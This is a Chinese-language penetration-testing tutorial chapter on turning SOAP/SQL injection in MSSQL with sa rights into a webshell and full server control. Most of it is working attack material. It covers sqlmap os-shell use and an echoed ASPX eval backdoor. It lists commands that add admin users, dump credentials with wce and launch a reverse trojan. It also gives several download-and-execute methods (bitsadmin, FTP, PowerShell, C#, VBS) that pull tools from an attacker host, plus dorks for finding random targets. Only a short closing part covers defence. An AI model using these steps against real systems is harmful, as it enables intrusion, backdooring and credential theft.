6.4 SOAP注入MSSQL数据库sa权限处理思路及实战
6.4.1 注入点获取webshell及服务器权限思路
讨论一下通过注入点如何获取webshell的思路及服务器权限
下面有些是前面章节提到过的内容,重要常用的东西还是得每次都提一下
1. 普通权限SQL注入获取webshell思路
(1) 通过sqlmap对注入点进行测试,获取数据库管理表
(2) 主要用到sqlmap命令
sqlmap.py -u url 或者 sqlmap.py -r bmfx.txt bmfx.txt是抓包得http请求
sqlmap.py -u url --current-db
sqlmap.py -u url --current-user
sqlmap.py -u url -D databasename --tables
sqlmap.py -u url -D databasename -T admin --column
sqlmap.py -u url -D databasename -T admin --count
sqlmap.py -u url -D databasename -T admin --dump
(3) 管理员表密码破解
可以对管理员表admin得密码进行分析和破解,在线破解网站cmd5和somd5网站进行破解,但是对于变异加密只能通过已知密码进行猜测和对比
(4) 扫描后台登录地址
使用小萝卜头Havij,御剑等工具进行后台地址扫描,也可以通过Google进行搜索,例如:site:xxx.com login
(5) 登录后台,寻找上传漏洞或者其他漏洞
(6) 获取webshell
2. sa权限注入点可直连数据库处理思路
(1) 注入点确认测试
sqlmap.py -u url 或者 sqlmap.py -r bmfx.txt
(2) 判断当前注入点类型,判断为DBA权限则继续,否则放弃
sqlmap.py -u url --is-dba 或者 sqlmap.py -r bmfx.txt --is-dba
(3) 获取数据库密码
sqlmap.py -u url --password
(4) 对服务器IP地址进行扫描
nmap -sS -Pn -A 192.168.1.2
masscan -p 1-63522 192.168.1.2
(5) 对sa口令进行破解
在cmd5网站可以对MSSQL和MSSQL 2012进行密码暴力破解
(6) 尝试使用SQLTOOLS, SQL查询分析器,SQL客户端程序,Navicat Premium, Navicat for SQL Server 进行数据库的连接,如果能够成功连接,就尝试使用xp_cmdshell存储过程恢复并执行命令
具体关于xp_cmdshell的操作可以看前面的章节
3. sqlmap对注入点进行利用获取webshell及权限思路
(1) 通过sqlmap注入点进行测试,确认存在漏洞
sqlmap.py -u url 或者 sqlmap.py -r bmfx.txt
(2) 确认为sa权限
sqlmap.py -u url --is-dba 返回结果是True证明为DBA权限
(3) 直接获取os-shell
sqlmap.py -u url --os-shell
(4) 通过--os-shell进行权限及命令执行测试
whoami,ipconfig,ifconfig,netstat -tunlpa,
(5) 直接系统权限
如果当前注入点获取的os-shell是系统权限,Windows环境下,那么就直接添加用户即可
注意:有些系统需要密码复杂度验证,如果不通过,则可以修改已知用户密码来实现,如果获取的是非系统权限,低权限用户则继续
(6) 同dir命令寻找网站根目录
dir c:
(7) echo文件命令到服务器进行测试
echo test > D:webmfx.txt
(8) 查看文件内容
type D:webweb.config
(9) 访问网站测试
在浏览器中直接打开目标的url地址,例如:http://10.2.2.3/bmfx.txt ,如果能够正常显示则意味着离获取webshell越来越近了
(10) echo一句话后门
echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["pass"],"unsafe");%^>> D:wwwwebcms.aspx '
其他后门类似,需要注意的是使用"^"符号来处理重定向符号
(11) 获取webshell
一句话后门地址为http://10.1.1.2/webcms.aspx 密码是pass
(12) 生成系统信息文件
systeminifo > bmfxtg.txt
(13) Windows-Exploit-Suggester分析目标补丁更新情况
这里我前面章节详细讲到过,可以翻看前面的章节,这个有点过时,具体到后面讲解的时候看看有没有新的方法
(14) 下载Windows exp进行提权测试
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
https://blog.gdssecurity.com/labs/2014/7/11/introducing-windows-exploit-suggester.html
记住下面命令进行查询
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" /C:"KB4018483"
(15) 获取系统权限
使用exp得时候,有3种思路,第一种是直接添加用户,第二种是获取当前登录系统得明文密码,第三种是反弹木马,一般exp命令如下:
expn0day "net user bmfx bmfx /add"
expn0day "net localgroup administrators bmfx /add"
expn0day "net localgroup administrators"
expn0day "wce -w" //将wce程序上传至目标目录里面执行
expn0day "muma.exe" // 上传至目标,进行反弹,或者使用MSF生成反弹木马
4. 成功率比较高得ms16-075提权方法
这个上一章节讲过
6.4.2 渗透中命令提示符下得文件上传方法
使用sqlmap进行漏洞测试的时候,有时需要上传文件,在各种反弹shell中也是需要进行文件的上传,下面是收集的一些文件上传的方法
1. sqlmap自带文件上传方法
(1) Kali下上传bmfx.vbs文件到目标系统的C盘根目录
sqlmap.py -r bmfx.txt --file-write="/root/bmfx.vbs" --file-dest="D:mfx.vbs"
(2) Windows下将wce上传至目标D盘根目录
sqlmap.py -r bmfx.txt --file-write="C: oolsqlmapwce.exe" --file-dest="D:wce.exe"
2. bitsadmin上传
bitsadmin /transfer myjob1 /download /priority normal http://www.ss.com/data/wce.exe D:wce.exe
bitsadmin /transfer n http://www.ss.com/data/wce.exe D:wce.exe
3. FTP下载方法
需要有公网IP地址,假设192.168.1.33为公网IP地址,且提供了FTP服务,可以使用系统自带的,也可以使用第三方软件搭建的FTP服务,通过创建FTP账号和密码是ftp,进行逐行执行即可
echo open 192.168.1.33 21 > ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo ftp >> ftp.txt
echo GET muma.exe >> ftp.txt
ftp -s:ftp.txt
4. powershell下载
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.33/wce.exe', 'D:wce.exe')
5. csc法
csc.exe 是微软.NET Framework中C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe
(1) download.cs代码
using System.Net;
namespace downloader
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
string URLAddress = @"http://192.168.1.33/wce.exe";
string receivePath = @"C: estupdate";
client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
(URLAddress));
}
}
}
(2) 执行编译过程
C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:C: estupdatedownload.exe C: estupdatedownload.cs
(3) 执行download.exe 文件即可下载
实际测试的时候把上面的下载地址换成自己的实际地址即可
6. echo vbs XMLHTTP方法下载
(1) echo脚本
echo Set xPost = CreateObject("Microsoft.XMLHTTP") > bmfx.vbs
echo xPost.Open "GET","http://192.168.1.33/data/wce.exe", 0 >> bmfx.vbs
echo xPost.Send() >> bmfx.vbs
echo Set sGet = CreateObject("ADODB.Stream") >> bmfx.vbs
echo sGet.Mode = 3 >> bmfx.vbs
echo sGet.Type = 1 >> bmfx.vbs
echo sGet.Open() >> bmfx.vbs
echo sGet.Write(xPost.responseBody) >> bmfx.vbs
echo sGet.SaveToFile "bmfx.exe", 2 >> bmfx.vbs
(2) 执行bmfx.vbs
cscript bmfx.vbs
7. Msxml2.XMLHTTP vbs脚本法下载并执行
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.1.33/data/wce.exe", 0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:wce.exe", 2
wscript.sleep 10000
Shell.Run ("C:wce.exe") //延后执行下载文件
8. exe2bat转换exe为bat
有单独的脚本,可以将exe转换为bat,但是如果文件过大,将可能导致出错
6.4.3 SOAP注入漏洞扫描及发现
1. 随机寻找目标
(1) 使用搜索引擎搜索asmx关键字,在百度或者谷歌搜索inurl:Service.asmx
(2) 使用fofa网站对关键字.asmx 进行检索,也可以使用zoomeye和shodan进行搜索,使用不同的关键字效果会比较好
intext:word, intitle:word进行搜索
2. 定向目标SOAP注入发现
对目标站点的页面进行源代码查看,在其中搜索asmx关键字,搜索出来之后在浏览器中进行访问
3. 漏洞扫描
使用AWVS进行扫描
4. 保存HTTP header文件
如果使用AWVS扫描出来了漏洞,找到"View HTTP headers" 复制出来保存文本文件为bmfx.txt 将其中标记为payload的位置改成-1* 然后使用sqlmap -r bmfx.txt进行注入测试
6.4.4 使用sqlmap对SOAP注入点进行验证和测试
下面都是常规套路,跟前面章节讲的都是一样的
1. 确认SQL注入点
2. 查看DBA权限
3. 获取os-shell
4. 测试DoS命令执行情况,获取系统信息
例如:ipconfig, netstat -ano, whoami, net user
5. 使用sqlmap进行文件上传测试
(1) 上传vbs文件
(2) 在服务器上查看上传的文件
dir C:*.vbs
cscript C:mfx.vbs
(3) 命令成功,却无法下载
上传文件未成功
bitsadmin /transfer myjob1 /download /priority normal http://www.ss.com/data/wce.exe D:wce.exe
使用下面的方式进行下载
bitsadmin /transfer n http://www.ss.com/data/wce.exe D:wce.exe
6.4.5 获取服务器权限
1. 添加和修改用户命令
(1) 直接添加用户命令
(2) 修改用户口令
2. 登录目标服务器远程桌面
3. 获取服务器其他账号密码
6.4.6 渗透总结与防御
1. 渗透总结
本节对如何利用SQL注入点获取webshell及服务器权限进行了探讨,通过一个实际例子介绍了如何利用sqlmap获取系统权限,sqlmap进行os-shell操作,其回显会因为网络相关原因显示较慢,存在实际延迟
2. 安全检查与防御
(1) sqlmap安全检查
利用os-shell命令进行渗透,会在SQL Server当前数据库中创建sqlmapoutput这个表,可以针对性的检查,如果发现存在
这个表,则意味着服务器Web程序可能存在高危注入漏洞
(2) 其他安全检查和安全加固
登录目标服务器之后,通过简单的查看服务,发现服务器上存在后门文件,说明早期有人入侵过,建议对服务器进行彻底安全检查,同时降低数据库账号权限,按照安全防护软件
文件下载参考:
https://www.secpulse.com/archives/44450.html
https://www.dazhuanlan.com/2019/12/14/5df3dc3fbeeb9/
https://www.dazhuanlan.com/2020/03/07/5e6354ece7a67/